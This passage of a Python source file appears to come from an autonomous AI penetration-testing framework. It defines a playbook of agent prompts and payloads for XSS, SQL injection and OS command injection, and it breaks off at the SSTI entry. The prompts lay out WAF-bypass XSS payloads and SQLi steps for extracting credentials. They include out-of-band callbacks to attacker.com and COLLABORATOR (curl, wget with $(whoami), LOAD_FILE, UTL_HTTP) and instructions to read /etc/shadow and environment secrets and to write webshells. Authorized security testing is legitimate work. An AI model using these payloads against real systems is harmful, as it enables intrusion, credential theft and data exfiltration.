mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-03-31 08:29:52 +02:00
116 modules | 100 vuln types | 18 API routes | 18 frontend pages Major features: - VulnEngine: 100 vuln types, 526+ payloads, 12 testers, anti-hallucination prompts - Autonomous Agent: 3-stream auto pentest, multi-session (5 concurrent), pause/resume/stop - CLI Agent: Claude Code / Gemini CLI / Codex CLI inside Kali containers - Validation Pipeline: negative controls, proof of execution, confidence scoring, judge - AI Reasoning: ReACT engine, token budget, endpoint classifier, CVE hunter, deep recon - Multi-Agent: 5 specialists + orchestrator + researcher AI + vuln type agents - RAG System: BM25/TF-IDF/ChromaDB vectorstore, few-shot, reasoning templates - Smart Router: 20 providers (8 CLI OAuth + 12 API), tier failover, token refresh - Kali Sandbox: container-per-scan, 56 tools, VPN support, on-demand install - Full IA Testing: methodology-driven comprehensive pentest sessions - Notifications: Discord, Telegram, WhatsApp/Twilio multi-channel alerts - Frontend: React/TypeScript with 18 pages, real-time WebSocket updates
4363 lines
333 KiB
Python
4363 lines
333 KiB
Python
"""
|
||
Comprehensive Pentest Playbook - 100 Vulnerability Types
|
||
=========================================================
|
||
Multi-phase testing methodologies, bypass techniques, verification checklists,
|
||
and thousands of specific AI prompts for the autonomous pentesting agent.
|
||
|
||
Each entry contains:
|
||
- category: Vulnerability category
|
||
- title: Human-readable name
|
||
- overview: What to test and why
|
||
- threat_model: Attack scenarios
|
||
- discovery: How to find this vuln
|
||
- test_phases: Multi-phase testing with prompts, expected results, decision trees
|
||
- bypass_strategies: WAF/filter evasion techniques
|
||
- verification_checklist: Steps to confirm true positive
|
||
- chain_attacks: How to chain with other vulns
|
||
- anti_false_positive: Common FP patterns to avoid
|
||
"""
|
||
|
||
from typing import Dict, List, Any, Optional
|
||
|
||
|
||
# ─────────────────────────────────────────────────────────────
|
||
# PENTEST PLAYBOOK - 100 Vulnerability Types
|
||
# ─────────────────────────────────────────────────────────────
|
||
|
||
PENTEST_PLAYBOOK: Dict[str, Dict[str, Any]] = {
|
||
|
||
# ═══════════════════════════════════════════════════════════
|
||
# CHAPTER 1: INJECTION ATTACKS (1-15)
|
||
# ═══════════════════════════════════════════════════════════
|
||
|
||
"xss_reflected": {
|
||
"category": "client_side",
|
||
"title": "Reflected Cross-Site Scripting (XSS)",
|
||
"overview": "User input reflected in HTTP response without sanitization. Test every parameter in every endpoint for reflection, then determine rendering context and craft context-appropriate payloads.",
|
||
"threat_model": "Attacker crafts URL with malicious script. Victim clicks link, script executes in their browser session stealing cookies, tokens, or performing actions.",
|
||
"discovery": [
|
||
"Inject unique canary (e.g., xss8a3f) into every parameter",
|
||
"Check if canary appears in response body",
|
||
"Determine rendering context: HTML body, attribute, JS, URL, CSS",
|
||
"Check Content-Type header (must be text/html)",
|
||
"Test both GET and POST parameters",
|
||
"Check URL path segments for reflection",
|
||
"Test HTTP headers (Referer, User-Agent) for reflection"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Canary Injection & Context Detection",
|
||
"prompts": [
|
||
"Inject a unique alphanumeric canary string into the parameter. Check if it appears in the response body. If reflected, identify the exact HTML context: is it inside a tag attribute, within a <script> block, in plain HTML body text, inside a comment, or within a URL/href? Note the surrounding characters.",
|
||
"For each reflected parameter, send the string xss<>\"'`/ and observe which characters are encoded, stripped, or passed through. This determines which XSS vectors are viable.",
|
||
"Check if the reflection is in the HTTP response headers (header injection) vs body. Check the Content-Type — XSS only works with text/html or application/xhtml+xml.",
|
||
"Test if the application uses a WAF by sending a benign tag like <b>test</b>. If blocked, note the WAF signature for bypass strategies."
|
||
],
|
||
"expected_results": ["Canary reflected in response", "Context identified", "Character filtering map built"],
|
||
"decision_tree": {
|
||
"reflected_in_html_body": "Proceed to Phase 2 - HTML context payloads",
|
||
"reflected_in_attribute": "Proceed to Phase 2 - Attribute breakout payloads",
|
||
"reflected_in_script": "Proceed to Phase 2 - JS context payloads",
|
||
"not_reflected": "STOP - Not vulnerable to reflected XSS",
|
||
"encoded": "Check if encoding is incomplete, test double-encoding"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Context-Specific Payload Testing",
|
||
"prompts": [
|
||
"HTML BODY CONTEXT: Try <img src=x onerror=alert(1)>. If < is blocked, try unicode escapes, HTML entities, or nested tags. Try <svg/onload=alert(1)>, <details/open/ontoggle=alert(1)>, <math><mi//xlink:href='javascript:alert(1)'/>.",
|
||
"ATTRIBUTE CONTEXT: Break out with \" onmouseover=alert(1) or ' onfocus=alert(1) autofocus '. If quotes are escaped, try event handlers without quotes: onmouseover=alert(1). If inside href, try javascript:alert(1).",
|
||
"JAVASCRIPT CONTEXT: Close the string with '-alert(1)-' or \";alert(1)// or </script><img src=x onerror=alert(1)>. Check if backslash escaping is applied — if so try \\';alert(1)//.",
|
||
"URL CONTEXT: If reflected in href/src, try javascript:alert(1), data:text/html,<script>alert(1)</script>, or javascript:/**/alert(1).",
|
||
"Try case variations: <ScRiPt>alert(1)</sCrIpT>, <IMG SRC=x ONERROR=alert(1)>.",
|
||
"Try null bytes: <scr%00ipt>alert(1)</scr%00ipt>, <img%20src=x%20onerror=alert(1)>."
|
||
],
|
||
"expected_results": ["Payload executes in browser", "Alert/console.log fires", "DOM modification visible"],
|
||
"decision_tree": {
|
||
"payload_executes": "CONFIRMED - Document payload, context, and bypass used",
|
||
"payload_reflected_but_no_execution": "Check CSP, check if in non-executable context",
|
||
"payload_filtered": "Proceed to Phase 3 - Bypass strategies"
|
||
}
|
||
},
|
||
{
|
||
"phase": 3,
|
||
"name": "Filter Bypass & WAF Evasion",
|
||
"prompts": [
|
||
"Try encoding bypass: double URL encoding (%253Cscript%253E), HTML entity encoding (<script>), unicode normalization.",
|
||
"Try tag mutation: <svg><animate onbegin=alert(1) attributeName=x dur=1s>, <iframe srcdoc='<script>alert(1)</script>'>, <object data='javascript:alert(1)'>.",
|
||
"Try event handler alternatives: onpointerover, onanimationend, ontransitionend, onwheel, onauxclick, oncontextmenu.",
|
||
"Try payload fragmentation: split across multiple parameters that get concatenated server-side.",
|
||
"Try polyglot: jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%%0telerik%0telerik%0telerik%0telerik%0telerik%0telerik.",
|
||
"If behind Cloudflare: <a/href='j%0Aavascript:alert(1)'>click. If behind Akamai: <d3v/onmouseleave=[2].find(confirm)>."
|
||
],
|
||
"expected_results": ["Bypass found", "Payload executes past WAF"],
|
||
"decision_tree": {
|
||
"bypass_works": "CONFIRMED - Document exact bypass technique",
|
||
"all_bypasses_fail": "LIKELY NOT EXPLOITABLE in current context - note in report"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Double URL encoding: %253C → %3C → <",
|
||
"HTML entities in attributes: javascript:alert(1)",
|
||
"Unicode normalization: <script> (fullwidth chars)",
|
||
"Null byte injection: <scri%00pt>",
|
||
"Case alternation: <sCrIpT>",
|
||
"Tag mutation: <svg>, <math>, <details>, <marquee>",
|
||
"Event handlers: onpointerover, onanimationstart, ontoggle",
|
||
"JavaScript protocol in href: javascript:void(0),alert(1)",
|
||
"Template literals: ${alert(1)}"
|
||
],
|
||
"verification_checklist": [
|
||
"Payload actually executes JavaScript (not just reflected)",
|
||
"Content-Type is text/html",
|
||
"No CSP blocking inline scripts (or CSP bypassed)",
|
||
"Canary reflection confirmed before payload testing",
|
||
"Negative control: benign input doesn't trigger same behavior",
|
||
"Browser rendering confirmed (not just source view)"
|
||
],
|
||
"chain_attacks": ["XSS → Session hijacking", "XSS → CSRF bypass", "XSS → Keylogging", "XSS → Phishing overlay"],
|
||
"anti_false_positive": [
|
||
"Reflection without execution is NOT XSS",
|
||
"Payload in non-HTML Content-Type is NOT XSS",
|
||
"CSP-blocked execution is a reduced-severity finding, not full XSS",
|
||
"Encoding that prevents execution means NOT vulnerable"
|
||
]
|
||
},
|
||
|
||
"xss_stored": {
|
||
"category": "client_side",
|
||
"title": "Stored Cross-Site Scripting (XSS)",
|
||
"overview": "Malicious script permanently stored on target server (database, file, log) and served to other users. Higher impact than reflected XSS due to persistence and multi-victim potential.",
|
||
"threat_model": "Attacker submits malicious content via form/API. Content stored in database. Other users viewing the content have the script execute in their browser, leading to mass account compromise.",
|
||
"discovery": [
|
||
"Identify all input points that store data: comments, profiles, messages, file names, metadata",
|
||
"Submit canary string, then navigate to where stored content is displayed",
|
||
"Check multiple display contexts: list views, detail views, admin panels, emails, PDF exports",
|
||
"Test both direct display and API responses that frontend renders"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Storage Point Identification",
|
||
"prompts": [
|
||
"Map all endpoints that accept user input and store it. Focus on: user profiles (name, bio, avatar URL), comments/reviews, forum posts, file upload names, API fields that appear in dashboards.",
|
||
"For each storage point, submit a unique canary (e.g., stored_xss_abc123) and find ALL locations where it is displayed. Check: the same page, other pages, admin panels, API responses, email notifications.",
|
||
"Note the rendering context for each display location — the same stored value may render differently in different views (HTML in one, JSON in another, PDF in another)."
|
||
],
|
||
"expected_results": ["Storage points mapped", "Display locations identified", "Rendering contexts noted"],
|
||
"decision_tree": {
|
||
"canary_displayed_unencoded": "High potential - proceed to Phase 2",
|
||
"canary_displayed_encoded": "Check if encoding is consistent across ALL display contexts",
|
||
"canary_not_found_in_display": "Check API responses directly, check admin views"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Payload Storage & Retrieval",
|
||
"prompts": [
|
||
"Submit <img src=x onerror=alert(document.domain)> via the storage endpoint. Navigate to EVERY display location and check if it executes.",
|
||
"If the submission form has client-side validation, bypass it by sending the request directly via the API (use curl/repeater to skip frontend sanitization).",
|
||
"Test if sanitization happens at storage time vs display time: submit payload, check if raw payload is in database/API response even if HTML display is sanitized.",
|
||
"Try payloads in different fields simultaneously — name, bio, location, website URL. Some fields may have different sanitization rules.",
|
||
"Test payload persistence: submit, wait, check if payload survives server restart/cache clear."
|
||
],
|
||
"expected_results": ["Script executes when page is viewed", "Payload persists in storage"],
|
||
"decision_tree": {
|
||
"executes_on_display": "CONFIRMED stored XSS - document all affected display contexts",
|
||
"stored_but_encoded_on_display": "Check alternative display contexts (admin, email, PDF)",
|
||
"filtered_at_submission": "Try bypass techniques in Phase 3"
|
||
}
|
||
},
|
||
{
|
||
"phase": 3,
|
||
"name": "Multi-Context & Bypass Testing",
|
||
"prompts": [
|
||
"Try mutation XSS payloads that survive sanitization libraries: <img/src/onerror=alert(1)>, <svg><script>alert(1)</script>, <math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>.",
|
||
"Test if there are character limits on the stored field. If so, try short payloads: <svg/onload=alert(1)> (27 chars), <img src=x onerror=alert(1)> (30 chars).",
|
||
"Check if the stored content appears in JavaScript context (e.g., var name = 'USER_INPUT'). If so, try ';alert(1);// or </script><svg/onload=alert(1)>.",
|
||
"Test markdown/BBCode rendering if supported: [url]javascript:alert(1)[/url], ), [Click](javascript:alert(1)).",
|
||
"Test second-order stored XSS: submit payload in Field A, it gets used in a SQL query/template that outputs to Field B display."
|
||
],
|
||
"expected_results": ["Bypass found", "Payload executes in at least one display context"],
|
||
"decision_tree": {
|
||
"bypass_works": "CONFIRMED - Document the specific bypass and all affected views",
|
||
"no_bypass_found": "Report as potential stored XSS with sanitization note"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Submit via API directly, bypassing frontend validation",
|
||
"Use mutation XSS payloads that survive DOMPurify/bleach",
|
||
"Exploit differences between storage sanitization and display encoding",
|
||
"Target less-protected display contexts (admin panels, email templates)",
|
||
"Use polyglot payloads that work across HTML/JS/attribute contexts",
|
||
"Exploit markdown/BBCode parsers",
|
||
"Character encoding tricks: UTF-7, overlong UTF-8"
|
||
],
|
||
"verification_checklist": [
|
||
"Payload persists in storage after submission",
|
||
"Script executes when ANY user views the content",
|
||
"Execution confirmed in browser (not just source reflection)",
|
||
"Different user session can trigger the stored payload",
|
||
"Payload survives page reload/cache clear"
|
||
],
|
||
"chain_attacks": ["Stored XSS → Mass session hijacking", "Stored XSS → Worm propagation", "Stored XSS → Admin account takeover", "Stored XSS → Crypto miner injection"],
|
||
"anti_false_positive": [
|
||
"Self-XSS (only triggers in attacker's own session) is reduced severity",
|
||
"Payload stored but never rendered to other users is NOT stored XSS",
|
||
"Must verify the stored payload actually executes, not just persists in DB"
|
||
]
|
||
},
|
||
|
||
"xss_dom": {
|
||
"category": "client_side",
|
||
"title": "DOM-Based Cross-Site Scripting",
|
||
"overview": "Client-side JavaScript reads user input from a source (URL hash, query, referrer, postMessage) and writes it to a dangerous sink (innerHTML, document.write, eval) without sanitization. Payload never touches the server.",
|
||
"threat_model": "Attacker crafts URL with payload in fragment/query. Victim's browser JS reads the input and writes it to DOM sink, executing the script. Server logs may not capture the attack.",
|
||
"discovery": [
|
||
"Analyze client-side JavaScript for source-to-sink data flows",
|
||
"Check URL fragment (#) handling — fragments aren't sent to server",
|
||
"Look for document.location, window.name, postMessage listeners",
|
||
"Search for dangerous sinks: innerHTML, outerHTML, document.write, eval, setTimeout(string), Function()"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Source & Sink Mapping",
|
||
"prompts": [
|
||
"Crawl all JavaScript files on the target. Search for DOM sources: location.hash, location.search, location.href, document.referrer, window.name, document.URL, postMessage event.data, localStorage, sessionStorage.",
|
||
"For each source found, trace the data flow to identify if it reaches a dangerous sink: innerHTML, outerHTML, document.write, document.writeln, eval(), setTimeout(string), setInterval(string), Function(), element.src, element.href, jQuery.html(), jQuery.append(), $.globalEval().",
|
||
"Check if any sanitization/encoding exists between source and sink. Note: client-side sanitization can often be bypassed.",
|
||
"Use browser DevTools to set breakpoints on sink functions and observe what data flows through them."
|
||
],
|
||
"expected_results": ["Source-to-sink paths identified", "Sanitization gaps found"],
|
||
"decision_tree": {
|
||
"direct_source_to_sink": "High risk - proceed to Phase 2 with appropriate sink payloads",
|
||
"sanitized_path": "Analyze sanitization for bypasses",
|
||
"no_dangerous_sinks": "STOP - No DOM XSS vectors"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Sink-Specific Payload Testing",
|
||
"prompts": [
|
||
"innerHTML SINK: Set location.hash to #<img src=x onerror=alert(1)>. Check if the img tag is created in the DOM and the onerror fires.",
|
||
"document.write SINK: Inject </title><img src=x onerror=alert(1)> or </script><script>alert(1)</script> depending on write context.",
|
||
"eval() SINK: If user input flows to eval, try: 1;alert(1) or ';alert(1);// depending on string context.",
|
||
"jQuery.html() SINK: Same as innerHTML - try <img src=x onerror=alert(1)>.",
|
||
"element.src SINK: Try javascript:alert(1) if input sets iframe.src or img.src.",
|
||
"postMessage SINK: Set up a page that sends postMessage to the target with payload in event.data. Check if the target's message handler writes data to a sink without origin validation."
|
||
],
|
||
"expected_results": ["JavaScript executes via DOM manipulation"],
|
||
"decision_tree": {
|
||
"payload_executes": "CONFIRMED DOM XSS - Note: server-side fix needed in JS code",
|
||
"payload_sanitized_client_side": "Try bypassing client-side sanitizer",
|
||
"sink_not_reached": "Re-check data flow, may need specific URL structure"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Fragment-based payloads bypass WAFs (# not sent to server)",
|
||
"Mutation XSS for DOMPurify: <math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>",
|
||
"Prototype pollution to override sanitizer config",
|
||
"Break out of JavaScript string context in eval sinks",
|
||
"Use window.name as XSS source (persists across navigations)",
|
||
"Exploit jQuery selector injection: $('user_input')"
|
||
],
|
||
"verification_checklist": [
|
||
"Payload executes in browser via DOM manipulation (not server reflection)",
|
||
"Source-to-sink data flow traced and documented",
|
||
"Server response does NOT contain the payload (distinguishes from reflected XSS)",
|
||
"Execution confirmed with Playwright/headless browser validation"
|
||
],
|
||
"chain_attacks": ["DOM XSS → Cookie theft", "DOM XSS → Keylogging", "DOM XSS → CSRF token extraction"],
|
||
"anti_false_positive": [
|
||
"Source exists but no dangerous sink = NOT DOM XSS",
|
||
"Data reaches sink but is properly sanitized = NOT DOM XSS",
|
||
"Must prove actual JavaScript execution, not just DOM modification"
|
||
]
|
||
},
|
||
|
||
"sqli": {
|
||
"category": "injection",
|
||
"title": "SQL Injection",
|
||
"overview": "User input incorporated into SQL queries without parameterization. Test every parameter for SQL syntax influence via error-based, boolean-based blind, time-based blind, and UNION-based techniques.",
|
||
"threat_model": "Attacker manipulates SQL queries to extract data, bypass authentication, modify/delete data, or achieve RCE via database features (xp_cmdshell, LOAD_FILE, INTO OUTFILE).",
|
||
"discovery": [
|
||
"Inject single quote (') and observe error messages",
|
||
"Test numeric params with arithmetic: id=1 vs id=2-1",
|
||
"Boolean test: AND 1=1 vs AND 1=2 (response difference)",
|
||
"Time test: AND SLEEP(5) or AND pg_sleep(5)",
|
||
"Test all parameters: GET, POST, cookies, headers, JSON fields"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Injection Point Detection",
|
||
"prompts": [
|
||
"For each parameter, send a single quote (') and observe: does the response contain a SQL error (MySQL: 'You have an error in your SQL syntax', PostgreSQL: 'ERROR: syntax error', MSSQL: 'Unclosed quotation mark', Oracle: 'ORA-01756')? If yes, the parameter is injectable.",
|
||
"For numeric parameters, test: original value, value-0 (should be same), value AND 1=1 (same), value AND 1=2 (different). Compare response lengths and content.",
|
||
"For string parameters, test: value' AND '1'='1 (should be same as original), value' AND '1'='2 (should be different). If responses differ, parameter is injectable.",
|
||
"If no visible difference, try time-based: value' AND SLEEP(5)-- (MySQL), value'; WAITFOR DELAY '0:0:5'-- (MSSQL), value' AND pg_sleep(5)-- (PostgreSQL). Measure response time.",
|
||
"Test in JSON bodies: {\"id\": \"1' AND '1'='1\"}, in cookies, in HTTP headers (X-Forwarded-For, Referer).",
|
||
"Identify the database type from error messages, HTTP headers (X-Powered-By), or technology fingerprinting."
|
||
],
|
||
"expected_results": ["SQL error triggered", "Boolean difference observed", "Time delay confirmed"],
|
||
"decision_tree": {
|
||
"error_based_confirmed": "Proceed to Phase 2 - UNION extraction",
|
||
"boolean_blind_confirmed": "Proceed to Phase 2 - Boolean extraction",
|
||
"time_blind_confirmed": "Proceed to Phase 2 - Time-based extraction",
|
||
"no_injection_detected": "Try second-order SQLi, JSON/XML param formats"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Data Extraction",
|
||
"prompts": [
|
||
"UNION-BASED: Determine column count with ORDER BY incrementing (ORDER BY 1--, ORDER BY 2--, ...) until error. Then: UNION SELECT NULL,NULL,...-- matching column count. Find a visible column by replacing NULLs with 'test'.",
|
||
"Once visible column found: UNION SELECT NULL,version(),NULL-- to confirm extraction. Then extract: database(), current_user(), @@hostname.",
|
||
"Extract table names: UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()-- (one at a time with LIMIT/OFFSET).",
|
||
"Extract column names: UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--.",
|
||
"Extract data: UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--.",
|
||
"BOOLEAN BLIND: Extract data character by character: AND SUBSTRING(version(),1,1)='5'. Automate with binary search on ASCII values.",
|
||
"TIME BLIND: AND IF(SUBSTRING(version(),1,1)='5',SLEEP(3),0). Measure response time to infer true/false."
|
||
],
|
||
"expected_results": ["Database version extracted", "Table/column names obtained", "User data extracted"],
|
||
"decision_tree": {
|
||
"data_extracted": "CONFIRMED SQLi - Document extraction proof",
|
||
"union_blocked": "Try boolean or time-based blind extraction",
|
||
"all_extraction_fails": "Check for second-order or out-of-band channels"
|
||
}
|
||
},
|
||
{
|
||
"phase": 3,
|
||
"name": "Advanced Exploitation & Bypass",
|
||
"prompts": [
|
||
"WAF BYPASS: Try comment injection: /*!50000UNION*//*!50000SELECT*/, inline comments: UN/**/ION SE/**/LECT, case mixing: uNiOn SeLeCt.",
|
||
"Try encoding: URL double-encode (%2527 for '), hex encoding (0x27 for '), Unicode escapes.",
|
||
"Try alternative syntax: UNION ALL SELECT, 1 UNION SELECT, -1 UNION SELECT.",
|
||
"SECOND-ORDER SQLi: Register user with name: admin'-- then login. The stored value may be used unsafely in subsequent queries.",
|
||
"OUT-OF-BAND: MySQL LOAD_FILE('\\\\\\\\attacker.com\\\\a'), MSSQL exec master..xp_dirtree '\\\\\\\\attacker.com\\\\a', Oracle UTL_HTTP.REQUEST('http://attacker.com/'||version).",
|
||
"RCE via SQLi: MySQL INTO OUTFILE for webshell, MSSQL xp_cmdshell, PostgreSQL COPY TO/FROM PROGRAM."
|
||
],
|
||
"expected_results": ["WAF bypassed", "Advanced extraction successful", "RCE achieved"],
|
||
"decision_tree": {
|
||
"rce_achieved": "CRITICAL - Document RCE chain carefully",
|
||
"data_extracted_via_bypass": "CONFIRMED - Document bypass technique",
|
||
"oob_data_received": "CONFIRMED via out-of-band channel"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Inline comments: /*!UNION*/ /*!SELECT*/",
|
||
"Double URL encoding: %2527 for '",
|
||
"Case alternation: uNiOn SeLeCt",
|
||
"Whitespace alternatives: UNION%09SELECT, UNION%0ASELECT",
|
||
"HPP: param=1¶m=UNION+SELECT",
|
||
"Scientific notation: 1e0UNION SELECT",
|
||
"JSON/XML wrapping for WAF bypass"
|
||
],
|
||
"verification_checklist": [
|
||
"SQL error message shows query influence (not generic error)",
|
||
"Boolean condition changes response content deterministically",
|
||
"Time delay is consistent and proportional (SLEEP(3) = ~3s delay)",
|
||
"Extracted data matches expected format (version string, table names)",
|
||
"Negative control: removing injection returns normal response"
|
||
],
|
||
"chain_attacks": ["SQLi → Data exfiltration", "SQLi → Auth bypass", "SQLi → RCE via DB features", "SQLi → File read/write"],
|
||
"anti_false_positive": [
|
||
"Single quote causing error could be non-SQL error (XML, JSON parsing)",
|
||
"Response time variation without injection = NOT time-based SQLi",
|
||
"Must demonstrate actual SQL query influence, not just error triggering",
|
||
"Application errors from malformed input != SQL injection"
|
||
]
|
||
},
|
||
|
||
"sqli_blind": {
|
||
"category": "injection",
|
||
"title": "Blind SQL Injection (Boolean & Time-Based)",
|
||
"overview": "SQL injection where results are not directly visible. Infer data through boolean response differences or time delays. Requires methodical binary-search extraction.",
|
||
"threat_model": "Same as SQLi but exploitation is slower. Attacker extracts data character-by-character through true/false inference. Commonly found in login forms, search, and API endpoints.",
|
||
"discovery": [
|
||
"Boolean: param' AND 1=1-- vs param' AND 1=2-- (different responses)",
|
||
"Time: param' AND SLEEP(5)-- (5-second delay vs normal)",
|
||
"Response difference can be: content length, specific text, HTTP status, redirect"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Blind Detection & DB Fingerprinting",
|
||
"prompts": [
|
||
"Send param' AND 1=1-- and param' AND 1=2--. Compare responses: different content length? Different text? Different status code? Any measurable difference confirms boolean blind SQLi.",
|
||
"If no content difference, try time-based: param' AND SLEEP(5)-- (MySQL), param' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)-- (PostgreSQL), param'; WAITFOR DELAY '0:0:5'-- (MSSQL).",
|
||
"Fingerprint DB: param' AND SUBSTRING(@@version,1,1)='5'-- (MySQL has @@version), param' AND SUBSTRING(version(),1,1)='P'-- (PostgreSQL).",
|
||
"Test with conditional errors: param' AND (SELECT CASE WHEN 1=1 THEN 1/0 ELSE 1 END)=1-- to confirm injectable via error-based blind."
|
||
],
|
||
"expected_results": ["Boolean or time-based blind SQLi confirmed", "DB type identified"],
|
||
"decision_tree": {
|
||
"boolean_difference_found": "Use boolean-based extraction in Phase 2",
|
||
"time_delay_confirmed": "Use time-based extraction in Phase 2",
|
||
"no_difference": "Try different injection points, encodings, or second-order"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Automated Data Extraction",
|
||
"prompts": [
|
||
"Extract DB version character by character using binary search: AND ASCII(SUBSTRING(version(),{pos},1))>{mid}--. Start with pos=1, binary search ASCII 32-126.",
|
||
"Extract current database name: AND ASCII(SUBSTRING(database(),{pos},1))>{mid}--.",
|
||
"Count tables: AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>{n}--.",
|
||
"Extract table names: AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {i},1),{pos},1))>{mid}--.",
|
||
"Extract column names and data using same technique with appropriate subquery.",
|
||
"Optimize: use bit-by-bit extraction (7 requests per char) instead of linear search."
|
||
],
|
||
"expected_results": ["Full database schema extracted", "Sensitive data obtained"],
|
||
"decision_tree": {
|
||
"data_extracted": "CONFIRMED - Document proof with extracted data sample",
|
||
"extraction_too_slow": "Try out-of-band techniques or conditional error messages",
|
||
"extraction_blocked": "WAF may be blocking - try encoding bypasses"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Replace spaces: UNION%09SELECT, AND%0a1=1",
|
||
"String concatenation: 'ad'||'min' (Oracle/PG), CONCAT('ad','min') (MySQL)",
|
||
"Conditional without IF: CASE WHEN condition THEN true ELSE false END",
|
||
"Time alternatives: BENCHMARK(10000000,SHA1('a')) (MySQL), GENERATE_SERIES(1,1000000) (PG)"
|
||
],
|
||
"verification_checklist": [
|
||
"Boolean condition reliably produces different responses (test 10+ times)",
|
||
"Time delay is consistent and not caused by network latency",
|
||
"Extracted data matches expected format (version string format correct)",
|
||
"Negative control: non-SQLi input produces consistent baseline response"
|
||
],
|
||
"chain_attacks": ["Blind SQLi → Full DB dump", "Blind SQLi → Credential extraction → Auth bypass"],
|
||
"anti_false_positive": [
|
||
"Network jitter can cause false time-based positives - use 5s+ delay and multiple tests",
|
||
"Boolean difference must be caused by SQL condition, not input-dependent rendering",
|
||
"Rate limiting / WAF may cause response differences unrelated to SQL"
|
||
]
|
||
},
|
||
|
||
"command_injection": {
|
||
"category": "injection",
|
||
"title": "OS Command Injection",
|
||
"overview": "User input passed to OS command execution (exec, system, popen, backticks). Test every parameter that might flow to command execution with command separators and out-of-band techniques.",
|
||
"threat_model": "Attacker executes arbitrary OS commands on the server, leading to full system compromise: data theft, backdoor installation, lateral movement, ransomware deployment.",
|
||
"discovery": [
|
||
"Identify parameters that might trigger server-side commands (ping, nslookup, file operations, PDF generation, image processing)",
|
||
"Test command separators: ; | || & && ` $() \\n",
|
||
"Use time-based detection: ;sleep 5; or |timeout 5|",
|
||
"Use out-of-band detection: ;curl attacker.com; or ;nslookup attacker.com;"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Injection Point & Separator Testing",
|
||
"prompts": [
|
||
"For each parameter, test command separators: value;id, value|id, value||id, value&&id, value`id`, value$(id), value%0aid. Check if command output appears in response.",
|
||
"If no direct output, try time-based: value;sleep 5;, value|sleep 5|, value$(sleep 5). Measure response time.",
|
||
"Try out-of-band: value;curl http://COLLABORATOR;, value;nslookup COLLABORATOR;, value;wget http://COLLABORATOR/$(whoami);.",
|
||
"Test newline injection: value%0a%0did (CRLF + command).",
|
||
"Check for argument injection if input is used as a command argument: --version, -h, --help to detect if arguments are processed."
|
||
],
|
||
"expected_results": ["Command output in response", "Time delay observed", "OOB callback received"],
|
||
"decision_tree": {
|
||
"output_in_response": "CONFIRMED - Direct command output",
|
||
"time_delay_confirmed": "CONFIRMED blind - Use time or OOB for extraction",
|
||
"oob_callback": "CONFIRMED - Out-of-band execution proved",
|
||
"no_indicators": "Try encoding, different separators, argument injection"
|
||
}
|
||
},
|
||
{
|
||
"phase": 2,
|
||
"name": "Command Execution & Impact Assessment",
|
||
"prompts": [
|
||
"Execute identity commands: id, whoami, hostname, uname -a. Document the execution context (user, OS, hostname).",
|
||
"Check permissions: ls -la /etc/shadow, cat /etc/passwd, env (look for secrets in environment).",
|
||
"Test write access: touch /tmp/pwned_test_$(date +%s). Check if file was created.",
|
||
"Network reconnaissance: ip addr, netstat -tlnp, cat /etc/hosts, cat /etc/resolv.conf.",
|
||
"If running as root, document the full impact. If non-root, check sudo -l for privilege escalation paths."
|
||
],
|
||
"expected_results": ["Full system access demonstrated", "User context documented"],
|
||
"decision_tree": {
|
||
"root_access": "CRITICAL - Full server compromise",
|
||
"limited_user": "HIGH - Document access level and potential privesc",
|
||
"sandboxed": "MEDIUM - Document sandbox escape possibilities"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Separator alternatives: ;, |, ||, &&, \\n, \\r\\n, `, $()",
|
||
"Space bypass: {cat,/etc/passwd}, cat${IFS}/etc/passwd, cat<>/etc/passwd",
|
||
"Wildcard bypass: /???/??t /???/p??s?d (matches /bin/cat /etc/passwd)",
|
||
"Encoding: \\x69\\x64 for 'id', $'\\x69\\x64'",
|
||
"Variable bypass: a=i;b=d;$a$b (executes 'id')",
|
||
"Argument injection: --output=/tmp/pwned when input used as arg",
|
||
"PowerShell on Windows: ;powershell -c 'id'"
|
||
],
|
||
"verification_checklist": [
|
||
"Command output matches expected OS command result",
|
||
"Time delay is precise and repeatable (sleep N = ~N seconds)",
|
||
"OOB callback includes unique identifier proving execution",
|
||
"Negative control: removing separator returns normal behavior",
|
||
"Different commands produce different outputs (not cached/generic)"
|
||
],
|
||
"chain_attacks": ["Command injection → Reverse shell", "Command injection → Credential harvesting", "Command injection → Lateral movement", "Command injection → Data exfiltration"],
|
||
"anti_false_positive": [
|
||
"Time delay from heavy processing != command injection",
|
||
"Error messages mentioning command names != execution",
|
||
"Must prove actual command execution with output or side effect"
|
||
]
|
||
},
|
||
|
||
"ssti": {
|
||
"category": "injection",
|
||
"title": "Server-Side Template Injection (SSTI)",
|
||
